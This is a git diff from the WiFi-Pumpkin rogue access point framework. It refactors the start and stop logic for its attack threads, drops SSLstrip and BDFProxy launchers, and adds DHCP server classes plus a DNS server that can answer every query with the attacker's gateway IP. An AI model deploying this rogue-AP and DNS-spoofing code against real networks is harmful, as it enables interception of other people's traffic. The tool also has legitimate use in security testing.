ProcessThread( - {'python':[C.DNS2PROXY_EXEC,'-i',str(self.selectCard.currentText()),'-k',self.currentSessionID]}) - self.Thread_dns2proxy._ProcssOutput.connect(self.get_dns2proxy_output) - self.Thread_dns2proxy.setObjectName('Dns2Proxy') - self.Apthreads['RougeAP'].append(self.Thread_dns2proxy) - - # create thread for plugin SSLstrip - self.Threadsslstrip = Thread_sslstrip(self.SettingsEnable['PortRedirect'], - self.plugins,self.ProxyPluginsTAB._PluginsToLoader,self.currentSessionID) - self.Threadsslstrip.setObjectName("sslstrip2") - self.Apthreads['RougeAP'].append(self.Threadsslstrip) - - elif self.PopUpPlugins.check_sergioProxy.isChecked(): - # create thread for plugin Sergio-proxy - self.Threadsslstrip = Thread_sergioProxy(self.SettingsEnable['PortRedirect'], - self.plugins,self.ProxyPluginsTAB._PluginsToLoader,self.currentSessionID) - self.Threadsslstrip.setObjectName("sslstrip") - self.Apthreads['RougeAP'].append(self.Threadsslstrip) - - elif self.PopUpPlugins.check_bdfproxy.isChecked(): - # create thread for plugin BDFproxy-ng - self.Thread_bdfproxy = ProcessThread({'python':[C.BDFPROXY_EXEC,'-k',self.currentSessionID]}) - self.Thread_bdfproxy._ProcssOutput.connect(self.get_bdfproxy_output) - self.Thread_bdfproxy.setObjectName('BDFProxy-ng') - self.Apthreads['RougeAP'].append(self.Thread_bdfproxy) - - elif self.PopUpPlugins.check_pumpkinProxy.isChecked(): - # create thread for plugin Pumpkin-Proxy - self.Thread_PumpkinProxy = ThreadPumpkinProxy(self.currentSessionID) - self.Thread_PumpkinProxy.send.connect(self.get_PumpkinProxy_output) - self.Thread_PumpkinProxy.setObjectName('Pumpkin-Proxy') - self.Apthreads['RougeAP'].append(self.Thread_PumpkinProxy) - - # start thread TCPproxy Module - if self.PopUpPlugins.check_tcpproxy.isChecked(): - self.Thread_TCPproxy = ThreadSniffingPackets(str(self.selectCard.currentText()),self.currentSessionID) - self.Thread_TCPproxy.setObjectName('TCPProxy') - self.Thread_TCPproxy.output_plugins.connect(self.get_TCPproxy_output) - self.Apthreads['RougeAP'].append(self.Thread_TCPproxy) + + self.dhcpcontrol.Start() + self.dnsserver.Start() + self.proxy.Start() + self.mitmhandler.Start() + + + #TODO Twisted Reactor still problematik + # if not self.THReactor.isRunning(): + # self.THReactor.start() + + self.Apthreads['RogueAP'].insert(0,self.wireless.ActiveReactor) + self.Apthreads['RogueAP'].insert(1,self.dhcpcontrol.ActiveReactor) + self.Apthreads['RogueAP'].insert(2,self.dnsserver.ActiveReactor) + #self.Apthreads['RogueAP'].append(self.dhcpcontrol.ActiveService) + self.Apthreads['RogueAP'].extend(self.proxy.ActiveReactor) + self.Apthreads['RogueAP'].extend(self.mitmhandler.ActiveReactor) if self.InternetShareWiFi: print('[*] Sharing Internet Connections with NAT...') @@ -1481,7 +900,7 @@ def start_access_point(self): for rulesetfilter in iptables: if self.InternetShareWiFi: # disable share internet from network if '$inet' in rulesetfilter: - rulesetfilter = rulesetfilter.replace('$inet',str(self.interfacesLink['activated'][0])) + rulesetfilter = rulesetfilter.replace('$inet',str(self.wireless.Activated.interfacesLink['activated'][0])) if '$wlan' in rulesetfilter: rulesetfilter = rulesetfilter.replace('$wlan',self.SettingsEnable['AP_iface']) if '$inet' in rulesetfilter or '$wlan' in rulesetfilter: @@ -1489,82 +908,60 @@ def start_access_point(self): popen(rulesetfilter) # start all Thread in sessions - for thread in self.Apthreads['RougeAP']: - self.progress.update_bar_simple(20) - QtCore.QThread.sleep(1) - thread.start() + + self.FSettings.Settings.set_setting('runningconfig', 'totalthread', len(self.Apthreads['RogueAP'])) + i=100/len(self.Apthreads['RogueAP']) + + for thread in self.Apthreads['RogueAP']: + if thread is not None: + self.progress.update_bar_simple(i) + self.progress.setText("Starting {}".format(thread.objectName())) + QtCore.QThread.sleep(1) + thread.start() + self.progress.setValue(100) self.progress.hideProcessbar() - # check if Advanced mode is enable - if self.FSettings.Settings.get_setting('dockarea','advanced',format=bool): - self.PumpSettingsTAB.doCheckAdvanced() - print('-------------------------------') - print('AP::[{}] Running...'.format(self.EditApName.text())) - print('AP::BSSID::[{}] CH {}'.format(Refactor.get_interface_mac( - self.selectCard.currentText()),self.EditChannel.value())) - self.FSettings.Settings.set_setting('accesspoint','ssid',str(self.EditApName.text())) - self.FSettings.Settings.set_setting('accesspoint','channel',str(self.EditChannel.value())) + self.FSettings.Settings.set_setting('accesspoint','ssid',str(self.SessionConfig.Wireless.EditSSID.text())) + self.FSettings.Settings.set_setting('accesspoint','channel',str(self.SessionConfig.Wireless.EditChannel.value())) def stop_access_point(self): ''' stop all thread :Access point attack and restore all settings ''' - if self.Apthreads['RougeAP'] == []: return + if self.Apthreads['RogueAP'] == []: return print('-------------------------------') - self.ProxyPluginsTAB.GroupSettings.setEnabled(True) + self.proxy.Stop() + self.mitmhandler.Stop() + self.dnsserver.Stop() + self.dhcpcontrol.Stop() + self.wireless.Stop() + self.FSettings.Settings.set_setting('accesspoint','statusAP',False) - self.FSettings.Settings.set_setting('accesspoint','bssid',str(self.EditBSSID.text())) + #TODO Fix this + #self.FSettings.Settings.set_setting('accesspoint','bssid',str(self.EditBSSID.text())) self.SessionsAP[self.currentSessionID]['stoped'] = asctime() self.FSettings.Settings.set_setting('accesspoint','sessions',dumps(self.SessionsAP)) - # check if dockArea activated and stop dock Area - self.PumpSettingsTAB.GroupArea.setEnabled(True) - # stop all Thread in create for Access Point + try: - for thread in self.Apthreads['RougeAP']: + for thread in self.Apthreads['RogueAP']: thread.stop() - if hasattr(thread, 'wait'): - if not thread.wait(msecs=500): - thread.terminate() + self.FSettings.Settings.set_setting('runningconfig', 'totalthread', 0) except Exception: pass # remove iptables commands and stop dhcpd if pesist in process for kill in self.SettingsAP['kill']: exec_bash(kill) # stop time count - self.StatusAPTAB.stop_timer() - #disabled options - # check if persistent option in Settigs is enable - #if not self.FSettings.Settings.get_setting('accesspoint','persistNetwokManager',format=bool): - # Refactor.settingsNetworkManager(self.SettingsEnable['AP_iface'],Remove=True) + + self.Home.APStatus.stop_timer() set_monitor_mode(self.SettingsEnable['AP_iface']).setDisable() self.set_status_label_AP(False) self.progress.setValue(1) self.progress.change_color('') + self.progress.setText('') self.connectedCount.setText('0') - self.Apthreads['RougeAP'] = [] + self.Apthreads['RogueAP'] = [] self.APclients = {} - lines = [] - # save logger in ProxyPlugins request - if self.ProxyPluginsTAB.log_inject.count()>0: - with open('logs/AccessPoint/injectionPage.log','w') as injectionlog: - for index in xrange(self.ProxyPluginsTAB.log_inject.count()): - lines.append(str(self.ProxyPluginsTAB.log_inject.item(index).text())) - for log in lines: injectionlog.write(log+'\n') - injectionlog.close() - # clear dhcpd.leases - with open(C.DHCPLEASES_PATH,'w') as dhcpLease: - dhcpLease.write(''),dhcpLease.close() - self.btn_start_attack.setDisabled(False) - # disable IP Forwarding in Linux - Refactor.set_ip_forward(0) - self.TabInfoAP.clearContents() - self.window_phishing.killThread() - - self.GroupAP.setEnabled(True) - self.GroupApPassphrase.setEnabled(True) - self.GroupAdapter.setEnabled(True) - self.PumpSettingsTAB.GroupDHCP.setEnabled(True) - self.PopUpPlugins.tableplugins.setEnabled(True) - self.PopUpPlugins.tableplugincheckbox.setEnabled(True) self.btn_cancelar.setEnabled(False) + self.btn_start_attack.setEnabled(True) self.progress.showProcessBar() def about(self): @@ -1572,11 +969,13 @@ def about(self): self.Fabout = frmAbout(author,emails, version,update,license,desc) self.Fabout.show() + def issue(self): ''' open issue in github page the project ''' url = QtCore.QUrl('https://github.com/P0cL4bs/WiFi-Pumpkin/issues/new') if not QtGui.QDesktopServices.openUrl(url): QtGui.QMessageBox.warning(self, 'Open Url', 'Could not open url: {}'.format(url)) + def donate(self): ''' open page donation the project ''' self.Fabout = frmAbout(author,emails,version,update,license,desc) diff --git a/core/packets/ipclass/A.py b/core/packets/ipclass/A.py new file mode 100644 index 0000000..516fabb --- /dev/null +++ b/core/packets/ipclass/A.py @@ -0,0 +1,12 @@ +from core.utility.ipclass import * + +class ClassA(IP): + Name = "Class A" + ID = "ClassA" + def __init__(self): + super(ClassA,self).__init__() + self.ClassRanges="10.0.0.20/10.0.0.50" + self.Netmask="255.0.0.0" + self.Broadcast="10.0.0.255" + self.Router="10.0.0.1" + self.Subnet="10.0.0.0" \ No newline at end of file diff --git a/core/packets/ipclass/__init__.py b/core/packets/ipclass/__init__.py new file mode 100644 index 0000000..9f6a139 --- /dev/null +++ b/core/packets/ipclass/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/core/packets/network.py b/core/packets/network.py index 8e378ef..090d172 100644 --- a/core/packets/network.py +++ b/core/packets/network.py @@ -1,4 +1,4 @@ -import queue as Queue +import Queue from os import system from scapy.all import * from threading import Thread diff --git a/core/packets/wireless.py b/core/packets/wireless.py index b81cd64..03330e2 100644 --- a/core/packets/wireless.py +++ b/core/packets/wireless.py @@ -1,4 +1,4 @@ -import queue as Queue +import Queue from scapy.all import * from threading import Thread from PyQt4.QtCore import QThread,SIGNAL @@ -39,7 +39,7 @@ def run(self): def scannerAP(self,q): while not self.stopped: try: - sniff(iface=self.interface, prn =lambda x : q.put(x)) + sniff(iface=self.interface, prn =lambda x : q.put(x), timeout=20) except:pass if self.stopped: break diff --git a/core/servers/dhcp/DNSMasq.py b/core/servers/dhcp/DNSMasq.py new file mode 100644 index 0000000..791b390 --- /dev/null +++ b/core/servers/dhcp/DNSMasq.py @@ -0,0 +1,27 @@ +from core.config.globalimport import * +from os import * +from core.utility.threads import ThRunDhcp +from core.servers.dhcp.dhcp import DHCPServers + +class DNSMasqDhcp(DHCPServers): + Name = "DNSMasq DHCP Server" + ID = "DNSMASQ" + ExecutableFile = "dnsmasq" + def __init__(self,parent=0): + super(DNSMasqDhcp,self).__init__(parent) + if self.command is None: + self.controlui.setText("{} not Found".format(self.Name)) + self.controlui.setDisabled(True) + + def Initialize(self): + leases = C.DHCPLEASES_PATH + if not path.exists(leases[:-12]): + mkdir(leases[:-12]) + if not path.isfile(leases): + with open(leases, 'wb') as leaconf: + leaconf.close() + uid = getpwnam('root').pw_uid + gid = getgrnam('root').gr_gid + chown(leases, uid, gid) + + \ No newline at end of file diff --git a/core/servers/dhcp/PyDHCP.py b/core/servers/dhcp/PyDHCP.py new file mode 100644 index 0000000..e407a35 --- /dev/null +++ b/core/servers/dhcp/PyDHCP.py @@ -0,0 +1,28 @@ +from core.config.globalimport import * +from core.servers.dhcp.dhcpserver import DHCPServer, DNSServer +from core.utility.threads import ProcessThread +from core.servers.dhcp.dhcp import DHCPServers + +class PyDHCP(DHCPServers): + Name = "Python DHCP Server" + ID = "PyDHCP" + def __init__(self,parent=0): + super(PyDHCP,self).__init__(parent) + self._isRunning = False + def Initialize(self): + pass + + def setIsRunning(self,value): + self._isRunning = value + + @property + def getStatusReactor(self): + return self._isRunning + + def boot(self): + if not self.getStatusReactor: + self.setIsRunning(True) + self.reactor = DHCPServer(str(self.parent.SessionConfig.Wireless.WLANCard.currentText()), self.DHCPConf) + self.reactor.sendConnetedClient.connect(self.get_DHCP_Discover_clients) + self.reactor.setObjectName('Py_DHCP') + self.reactor.LoopDhcpStatus = True \ No newline at end of file diff --git a/core/servers/dhcp/__init__.py b/core/servers/dhcp/__init__.py new file mode 100644 index 0000000..9f6a139 --- /dev/null +++ b/core/servers/dhcp/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/core/servers/dhcp/dhcp.py b/core/servers/dhcp/dhcp.py new file mode 100644 index 0000000..ccf8ecd --- /dev/null +++ b/core/servers/dhcp/dhcp.py @@ -0,0 +1,303 @@ +from re import * +from netaddr import EUI +from core.config.globalimport import * +from core.widgets.customiseds import * +from core.widgets.default.uimodel import * +from core.utility.component import ControllerBlueprint +from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases +from core.utility.threads import (ProcessThread) +from core.widgets.notifications import ServiceNotify + +class DHCPServers(QtGui.QWidget,ComponentBlueprint): + Name = "Generic" + ID = "Generic" + haspref = False + ExecutableFile="" + def __init__(self,parent=0): + super(DHCPServers,self).__init__() + self.parent = parent + self.FSettings = SuperSettings.getInstance() + self.EditGateway = QtGui.QLineEdit(self) + self.EditGateway.setFixedWidth(120) + self.EditGateway.setHidden(True) # disable Gateway + self.controlui = QtGui.QRadioButton(self.Name) + self.controlui.toggled.connect(partial(self.controlcheck, self.controlui)) + self.controlui.setChecked(self.FSettings.Settings.get_setting('dhcpserver', self.ID,format=bool)) + self.controlui.setObjectName(self.ID) + self.DHCPConf = self.Settings.conf + def controlcheck(self,object): + self.FSettings.Settings.set_setting('dhcpserver', self.ID, self.controlui.isChecked()) + def prereq(self): + dh, gateway = self.DHCPConf['router'], str(self.EditGateway.text()) + # dh, gateway = self.PumpSettingsTAB.getPumpkinSettings()['router'],str(self.EditGateway.text()) + if dh[:len(dh) - len(dh.split('.').pop())] == gateway[:len(gateway) - len(gateway.split('.').pop())]: + return QtGui.QMessageBox.warning(self, 'DHCP Server settings', + 'The DHCP server check if range ip class is same.' + 'it works, but not share internet connection in some case.\n' + 'for fix this, You need change on tab (settings -> Class Ranges)' + 'now you have choose the Class range different of your network.') + def Stop(self): + self.shutdown() + self.reactor.stop() + + def Start(self): + self.prereq() + self.Initialize() + self.boot() + + @property + def Settings(self): + return DHCPSettings.instances[0] + + @property + def commandargs(self): + pass + + def boot(self): + print self.command,self.commandargs + self.reactor = ProcessThread({self.command: self.commandargs}) + self.reactor._ProcssOutput.connect(self.LogOutput) + self.reactor.setObjectName(self.Name) # use dns2proxy as DNS server + + @property + def HomeDisplay(self): + return DHCPClient.instances[0] + + @property + def command(self): + cmdpath = os.popen('which {}'.format(self.ExecutableFile)).read().split('\n')[0] + if cmdpath: + return cmdpath + else: + return None + + def get_mac_vendor(self,mac): + ''' discovery mac vendor by mac address ''' + try: + d_vendor = EUI(mac) + d_vendor = d_vendor.oui.registration().org + except: + d_vendor = 'unknown mac' + return d_vendor + + def add_data_into_QTableWidget(self,client): + self.HomeDisplay.ClientTable.addNextWidget(client) + + def add_DHCP_Requests_clients(self,mac,user_info): + self.parent.StationMonitor.addRequests(mac,user_info,True) + + def get_DHCP_Discover_clients(self,message): + '''get infor client connected with AP ''' + self.APclients = {} + if message['mac_addr'] not in self.HomeDisplay.ClientTable.APclients.keys(): + self.APclients[message['mac_addr']] = \ + {'IP': message['ip_addr'], + 'device': message['host_name'], + 'MAC': message['mac_addr'], + 'Vendors' : self.get_mac_vendor(message['mac_addr'])} + + self.add_DHCP_Requests_clients(message['mac_addr'],self.APclients[message['mac_addr']]) + self.add_data_into_QTableWidget(self.APclients) + self.parent.connectedCount.setText(str(len(self.HomeDisplay.ClientTable.APclients.keys()))) + + def get_DHCP_Requests_clients(self,data): + ''' filter: data info sended DHCPD request ''' + self.APclients = {} + if len(data) == 8: + device = sub(r'[)|(]',r'',data[5]) + if len(device) == 0: device = 'unknown' + if Refactor.check_is_mac(data[4]): + if data[4] not in self.HomeDisplay.APclients.keys(): + self.APclients[data[4]] = {'IP': data[2], + 'device': device,'MAC': data[4],'Vendors' : self.get_mac_vendor(data[4])} + self.add_DHCP_Requests_clients(data[4],self.APclients[data[4]]) + elif len(data) == 9: + device = sub(r'[)|(]',r'',data[6]) + if len(device) == 0: device = 'unknown' + if Refactor.check_is_mac(data[5]): + if data[5] not in self.HomeDisplay.ClientTable.APclients.keys(): + self.APclients[data[5]] = {'IP': data[2], + 'device': device,'MAC': data[5],'Vendors' : self.get_mac_vendor(data[5])} + self.add_DHCP_Requests_clients(data[5],self.APclients[data[5]]) + elif len(data) == 7: + if Refactor.check_is_mac(data[4]): + if data[4] not in self.HomeDisplay.ClientTable.APclients.keys(): + leases = IscDhcpLeases(C.DHCPLEASES_PATH) + hostname = None + try: + for item in leases.get(): + if item.ethernet == data[4]: + hostname = item.hostname + if hostname == None: + item = leases.get_current() + hostname = item[data[4]] + except: + hostname = 'unknown' + if hostname == None or len(hostname) == 0:hostname = 'unknown' + self.APclients[data[4]] = {'IP': data[2],'device': hostname, + 'MAC': data[4], 'Vendors': self.get_mac_vendor(data[4])} + self.add_DHCP_Requests_clients(data[4],self.APclients[data[4]]) + if self.APclients != {}: + self.add_data_into_QTableWidget(self.APclients) + self.parent.connectedCount.setText(str(len(self.HomeDisplay.ClientTable.APclients.keys()))) + + + +class DHCPSettings(CoreSettings): + Name = "WP DHCP" + ID = "DHCP" + ConfigRoot = "dhcp" + Category = "DHCP" + instances=[] + + def __init__(self,parent=0): + super(DHCPSettings,self).__init__(parent) + self.__class__.instances.append(weakref.proxy(self)) + self.setCheckable(False) + self.setFixedWidth(400) + self.dhmode = [mod(parent) for mod in DHCPServers.__subclasses__()] + self.modoption = QtGui.QFormLayout() + self.modegroup = QtGui.QButtonGroup() + + for dhmode in self.dhmode: + self.modoption.addRow(dhmode.controlui) + self.modegroup.addButton(dhmode.controlui) + self.layoutDHCP = QtGui.QFormLayout() + self.layoutbuttons = QtGui.QHBoxLayout() + self.btnDefault = QtGui.QPushButton('Default') + self.btnSave = QtGui.QPushButton('save settings') + self.btnSave.setIcon(QtGui.QIcon('icons/export.png')) + self.btnDefault.setIcon(QtGui.QIcon('icons/settings.png')) + self.btnDefault.clicked.connect(self.setdefaultSettings) + + + self.dhcpClassIP = QtGui.QComboBox() + self.EditGateway = QtGui.QLineEdit(self) + self.EditGateway.setFixedWidth(120) + self.EditGateway.setHidden(True) # disable Gateway + + self.classtypes = ['Class-A-Address', 'Class-B-Address', 'Class-C-Address', 'Class-Custom-Address'] + for types in self.classtypes: + if 'Class-{}-Address'.format(self.FSettings.Settings.get_setting(self.ConfigRoot, 'classtype')) in types: + self.classtypes.remove(types), self.classtypes.insert(0, types) + self.dhcpClassIP.addItems(self.classtypes) + self.leaseTimeDef = QtGui.QLineEdit(self.FSettings.Settings.get_setting(self.ConfigRoot, 'leasetimeDef')) + self.leaseTimeMax = QtGui.QLineEdit(self.FSettings.Settings.get_setting(self.ConfigRoot, 'leasetimeMax')) + self.netmask = QtGui.QLineEdit(self.FSettings.Settings.get_setting(self.ConfigRoot, 'netmask')) + self.range = QtGui.QLineEdit(self.FSettings.Settings.get_setting(self.ConfigRoot, 'range')) + self.router = QtGui.QLineEdit(self.FSettings.Settings.get_setting(self.ConfigRoot, 'router')) + self.subnet = QtGui.QLineEdit(self.FSettings.Settings.get_setting(self.ConfigRoot, 'subnet')) + self.broadcast = QtGui.QLineEdit(self.FSettings.Settings.get_setting(self.ConfigRoot, 'broadcast')) + self.dhcpClassIP.currentIndexChanged.connect(self.dhcpClassIPClicked) + + self.layoutDHCP.addRow(self.modoption) + self.layoutDHCP.addRow('Class Ranges', self.dhcpClassIP) + self.layoutDHCP.addRow('Default Lease time', self.leaseTimeDef) + self.layoutDHCP.addRow('Max Lease time', self.leaseTimeMax) + self.layoutDHCP.addRow('Subnet', self.subnet) + self.layoutDHCP.addRow('Router', self.router) + self.layoutDHCP.addRow('Netmask', self.netmask) + self.layoutDHCP.addRow('Broadcaset Address', self.broadcast) + self.layoutDHCP.addRow('DHCP IP-Range', self.range) + + self.updateconf() + + # layout add + self.layoutbuttons.addWidget(self.btnSave) + self.layoutbuttons.addWidget(self.btnDefault) + self.layoutDHCP.addRow(self.layoutbuttons) + self.layout.addLayout(self.layoutDHCP) + def dhcpClassIPClicked(self,classIP): + self.selected = str(self.dhcpClassIP.currentText()) + if 'class-Custom-Address' in self.selected: self.selected = 'dhcp' + self.leaseTimeDef.setText(self.FSettings.Settings.get_setting(self.selected,'leasetimeDef')) + self.leaseTimeMax.setText(self.FSettings.Settings.get_setting(self.selected,'leasetimeMax')) + self.netmask.setText(self.FSettings.Settings.get_setting(self.selected,'netmask')) + self.range.setText(self.FSettings.Settings.get_setting(self.selected,'range')) + self.router.setText(self.FSettings.Settings.get_setting(self.selected,'router')) + self.subnet.setText(self.FSettings.Settings.get_setting(self.selected,'subnet')) + self.broadcast.setText(self.FSettings.Settings.get_setting(self.selected,'broadcast')) + self.savesettingsDHCP() + def setdefaultSettings(self): + self.dhcpClassIP.setCurrentIndex(self.classtypes.index('Class-A-Address')) + self.leaseTimeDef.setText(self.FSettings.Settings.get_setting('dhcpdefault','leasetimeDef')) + self.leaseTimeMax.setText(self.FSettings.Settings.get_setting('dhcpdefault','leasetimeMax')) + self.netmask.setText(self.FSettings.Settings.get_setting('dhcpdefault','netmask')) + self.range.setText(self.FSettings.Settings.get_setting('dhcpdefault','range')) + self.router.setText(self.FSettings.Settings.get_setting('dhcpdefault','router')) + self.subnet.setText(self.FSettings.Settings.get_setting('dhcpdefault','subnet')) + self.broadcast.setText(self.FSettings.Settings.get_setting('dhcpdefault','broadcast')) + self.updateconf() + + def savesettingsDHCP(self): + self.all_geteway_check = [] + for types in self.classtypes: + if not 'Class-Custom-Address' in types: + self.all_geteway_check.append(self.FSettings.Settings.get_by_index_key(5,types)) + self.FSettings.Settings.set_setting(self.ConfigRoot,'classtype',str(self.dhcpClassIP.currentText()).split('-')[1]) + self.FSettings.Settings.set_setting(self.ConfigRoot,'leasetimeDef',str(self.leaseTimeDef.text())) + self.FSettings.Settings.set_setting(self.ConfigRoot,'leasetimeMax',str(self.leaseTimeMax.text())) + self.FSettings.Settings.set_setting(self.ConfigRoot,'netmask',str(self.netmask.text())) + self.FSettings.Settings.set_setting(self.ConfigRoot,'range',str(self.range.text())) + self.FSettings.Settings.set_setting(self.ConfigRoot,'router',str(self.router.text())) + self.FSettings.Settings.set_setting(self.ConfigRoot,'subnet',str(self.subnet.text())) + self.FSettings.Settings.set_setting(self.ConfigRoot,'broadcast',str(self.broadcast.text())) + if not str(self.router.text()) in self.all_geteway_check: + self.FSettings.Settings.set_setting(self.ConfigRoot,'classtype','Custom') + self.btnSave.setEnabled(True) + def updateconf(self): + self.conf['leasetimeDef'] = str(self.leaseTimeDef.text()) + self.conf['leasetimeMax'] = str(self.leaseTimeMax.text()) + self.conf['subnet'] = str(self.subnet.text()) + self.conf['router'] = str(self.router.text()) + self.conf['netmask'] = str(self.netmask.text()) + self.conf['broadcast'] = str(self.broadcast.text()) + self.conf['range'] = str(self.range.text()) + +class DHCPClient(HomeDisplay): + Name = "DHCP" + ID = "DHCP" + instances=[] + def __init__(self,parent): + super(DHCPClient,self).__init__(parent) + self.__class__.instances.append(weakref.proxy(self)) + self.ClientTable = AutoTableWidget() + self.THeaders = OrderedDict([('Devices', []), + ('IP Address', []), + ('Mac Address', []), + ('Vendors', [])], + ) + self.ClientTable.setRowCount(50) + self.ClientTable.resizeRowsToContents() + self.ClientTable.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.ClientTable.horizontalHeader().setStretchLastSection(True) + self.ClientTable.setSelectionMode(QtGui.QAbstractItemView.NoSelection) + self.ClientTable.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + self.ClientTable.verticalHeader().setVisible(False) + self.ClientTable.setHorizontalHeaderLabels(self.THeaders.keys()) + self.ClientTable.verticalHeader().setDefaultSectionSize(23) + self.ClientTable.horizontalHeader().resizeSection(3, 140) + self.ClientTable.horizontalHeader().resizeSection(0, 140) + self.ClientTable.horizontalHeader().resizeSection(2, 120) + self.ClientTable.horizontalHeader().resizeSection(1, 120) + self.ClientTable.setSortingEnabled(True) + self.ClientTable.setObjectName('table_clients') + + self.mainLayout = QtGui.QVBoxLayout() + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + + self.donatelink = C.DONATE + self.donateLabel = ServiceNotify(C.DONATE_TXT,title='Support development', + link=self.donatelink,timeout=10000) + # set main page Tool + self.mainLayout.addWidget(self.donateLabel) + + self.mainLayout.addWidget(self.ClientTable) + + self.layout_table = QtGui.QHBoxLayout() + self.layout_table.addWidget(self.scroll) + self.layout.addLayout(self.layout_table) \ No newline at end of file diff --git a/core/servers/dhcp/dhcpserver.py b/core/servers/dhcp/dhcpserver.py new file mode 100644 index 0000000..1521695 --- /dev/null +++ b/core/servers/dhcp/dhcpserver.py @@ -0,0 +1,440 @@ +import IN +import time +import socket +import struct +from collections import defaultdict +from PyQt4.QtCore import QThread,pyqtSignal +import dns.message +from dns import resolver + + +class OutOfLeasesError(Exception): + pass + + +class DNSQuery: + def __init__(self, data): + self.data = data + self.dominio = '' + self.RECORD_TYPES = { + '\x00\x01': 'A', + '\x00\x05': 'CNAME', + '\x00\x0f': 'MX', + '\x00\x02': 'NS', + '\x00\x10': 'TXT', + '\x00\x1c': 'AAAA', + '\x00\xff': 'ANY', + } + + # Copy Opcode to variable 'tipo'. + tipo = (ord(data[2]) >> 3) & 15 + if tipo == 0: # Opcode 0 mean a standard query(QUERY) + ini = 12 + lon = ord(data[ini]) + while lon != 0: + self.dominio += data[ini + 1:ini + lon + 1] + '.' + ini += lon + 1 + lon = ord(data[ini]) + + def respuesta(self, ip): + packet = '' + if self.dominio: + packet += self.data[:2] + "\x81\x80" # Response & No error. + packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts. + packet += self.data[12:] # Original Domain Name Question. + packet += '\xc0\x0c' # A domain name to which this resource record pertains. + packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # type, class, ttl, data-length + packet += str.join('', map(lambda x: chr(int(x)), ip.split('.'))) + return packet + + def render_packet(self,ip): + packet = '' + if self.dominio: + d = self.data + packet += d[:2] # Transaction ID + flags = '' + flags += '1' # 1=response, 0=query + flags += '0000' # opcode, 0=standard query, 1=inverse query, 2=server status request + flags += '1' # Authoritative Answer + flags += '0' # Trancated response + flags += '0' # Recursion Desired + flags += '0' # Recursion Available + flags += '000' # reserved, have to be 0 + flags += '0000' # RCode, 0=no error + packet += self.bin_to_hex(flags) + packet += d[4:6] # Number of Questions + packet += d[4:6] # Number of Answer RRs + packet += '\x00\x00' # Number of Authority RRs + packet += '\x00\x00' # Number of Additional RRs + packet += d[12:] # Original Domain Name Question + packet += '\xc0\x0c' # NAME (domain) + packet += self._get_raw_type() # TYPE + packet += '\x00\x01' # CLASS (Internet) + packet += self._get_ttl_bytes() # TTL time to live + packet += self.int_to_hex(4, zfill=2) # RDLENGTH + packet += str.join('', map(lambda x: chr(int(x)), ip.split('.'))) # RDATA + return packet + + def make_response(self,data,RCODE=None): + qry= dns.message.from_wire(data) + resp = dns.message.make_response(qry) + resp.flags |= dns.flags.AA + resp.flags |= dns.flags.RA + resp.set_rcode(RCODE) + return resp.to_wire() + + def _get_domainReal(self): + return self.dominio[:-1] + + def _get_dnsType(self): + return self.RECORD_TYPES.get(self._get_raw_type(), 'Unknown') + + def _get_raw_type(self): + return self.data[-4:-2] + + def _get_ttl_bytes(self): + return self.int_to_hex(300, zfill=4) + + def int_to_hex(self,value, zfill=None): + h = hex(value) # 300 -> '0x12c' + h = h[2:].zfill((zfill or 0) * 2) # '0x12c' -> '00012c' if zfill=3 + return h.decode('hex') + + def bin_to_hex(self,value): + # http://stackoverflow.com/questions/2072351/python-conversion-from-binary-string-to-hexadecimal/2072384#2072384 + # '0000 0100 1000 1101' -> '\x04\x8d' + value = value.replace(' ', '') + h = '%0*X' % ((len(value) + 3) // 4, int(value, 2)) + return h.decode('hex') + +class DNSServer(QThread): + ''' Simple DNS server UDP resolver ''' + sendRequests = pyqtSignal(object) #I'll use this object in future feature + def __init__(self, iface, gateway,blockResolverDNS=False): + super(DNSServer, self).__init__(parent = None) + self.iface = iface + self.DnsLoop = True + self.GatewayAddr = gateway + self.data_request = {'logger':None,'type':None, + 'query': None} #I'll use this object in future feature + self.blockResolverDNS = blockResolverDNS + self.Resolver = resolver.Resolver() + self.Resolver.nameservers = ['8.8.8.8'] + self.Resolver.timeout = 1 + self.Resolver.lifetime = 1 + + def run(self): + self.dns_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) + self.dns_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.dns_sock.settimeout(0.3) # Set timeout on socket-operations. + time.sleep(0.5) + self.dns_sock.bind(('', 53)) + while self.DnsLoop: + try: + data, addr = self.dns_sock.recvfrom(1024) + except: + continue + packet = DNSQuery(data) + try: + msg = dns.message.from_wire(data) + op = msg.opcode() + if op == 0: + # standard and inverse query + qs = msg.question + if len(qs) > 0: + query = qs[0] + #RCODE + except Exception as e: + query = repr(e) # error when resolver DNS + self.data_request['query'] = query # get query resquest from client + self.data_request['type'] = packet._get_dnsType() # get type query + self.data_request['logger']='Client [{}]: -> [{}]'.format(addr[0], packet.dominio) + if not self.blockResolverDNS: + try: + answers = self.Resolver.query(packet._get_domainReal()) # try resolver domain + for rdata in answers: # get real Ipaddress + self.dns_sock.sendto(packet.render_packet(rdata.address), addr) #send resquest + except dns.resolver.NXDOMAIN: # error domain not found + # send domain not exist RCODE 3 + self.dns_sock.sendto(packet.make_response(data,3), addr) + except dns.resolver.Timeout: + # unable to respond query RCODE 2 + self.dns_sock.sendto(packet.make_response(data,2), addr) #timeout + except dns.exception.DNSException: + # server format ERROR unable to responde #RCODE 1 + self.dns_sock.sendto(packet.make_response(data,1), addr) + continue + # I'll use this in future for implements new feature + self.dns_sock.sendto(packet.respuesta(self.GatewayAddr), addr) # for next feature + self.dns_sock.close() + + def stop(self): + print('Thread::[DNSServer] successfully stopped.') + self.DnsLoop = False + self.dns_sock.close() + + + + +# 